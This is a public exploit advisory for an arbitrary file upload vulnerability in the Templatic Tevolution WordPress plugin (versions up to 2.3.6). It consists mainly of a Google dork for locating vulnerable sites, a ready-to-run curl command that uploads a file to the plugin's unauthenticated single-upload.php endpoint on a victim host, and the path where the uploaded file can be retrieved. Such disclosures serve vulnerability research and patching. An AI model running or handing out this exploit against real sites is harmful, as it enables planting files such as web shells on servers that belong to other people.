WordPress Plugin Slider Templatic Tevolution < 2.3.6 - Arbitrary File Upload

# Exploit Title: WordPress Templatic <= 2.3.6 Tevolution File Upload Vulnerability
# Date: 30-12-2016
# Software Link: Permium plugin
# Vendor Homepage: https://templatic.com/wordpress-plugins/tevolution
# Exploit Author: r3m1ck
# Website: https://www.r3m1ck.us/
# Category: webapps
# Google Dork: inurl:"wp-content/plugins/Tevolution/"

1. Description

Wordpress Slider Templatic Tevolution <= 2.3.6 suffers from file upload vulnerability.
Tevolution is not available for sale, it comes bundled with certain premium themes from templatic.

2. Proof of Concept

curl -k -X POST -F "file=@./ina.txt" http://VICTIM/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php

3. Uploaded file location:

Because this vulnerability plugin bundled with some premium themes from templatic, the location will be depends on the themes' name.
ex:
http://VICTIM/wp-content/themes/Directory/images/tmp/ina.txt